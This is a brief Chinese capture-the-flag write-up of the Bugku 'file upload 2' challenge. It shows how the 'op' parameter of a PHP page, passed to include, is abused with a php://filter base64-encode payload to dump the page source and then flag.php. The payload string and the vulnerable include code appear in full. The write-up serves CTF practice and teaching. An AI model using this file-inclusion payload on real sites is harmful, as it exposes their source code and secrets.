bugku文件上传2(湖湘杯)

打开网站,是一个上传文件的网页,那我们先按照要求上传png文件试试,上传图片说打不开图片,陷入迷茫。


那应该不是靠一句话菜刀,因为根本加载不出来,我觉得不可能没有php代码,于是在op后面构造

op=index.php 提示我们不存在这样的页面 但事实是存在的

op=index 没有出现提示 但页面是空的

op=php://filter/read=convert.base64-encode/resource=index

结果得到

error_reporting(0);

define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];

if(!is_string($op) || preg_match('/\.\./', $op))

    die('Try it again and I will kill you! I freaking hate hackers!');

ob_start('ob_gzhandler');

function page_top($op) {

?>

Panduploader::<?= htmlentities(ucfirst($op)); ?>

}

function fatal($msg) {

?>

Error

exit(1);

}

function page_bottom() {

?>

   

   

ob_end_flush();

}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))

    fatal('no such page');

?>

通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。

通过御剑后台扫描扫描出后台的信息,有flag.php页面,则

op=php://filter/read=convert.base64-encode/resource=flag

则获得flag的base64加密后的数据,进行解密,获得flag。

你可能感兴趣的:(bugku文件上传2(湖湘杯))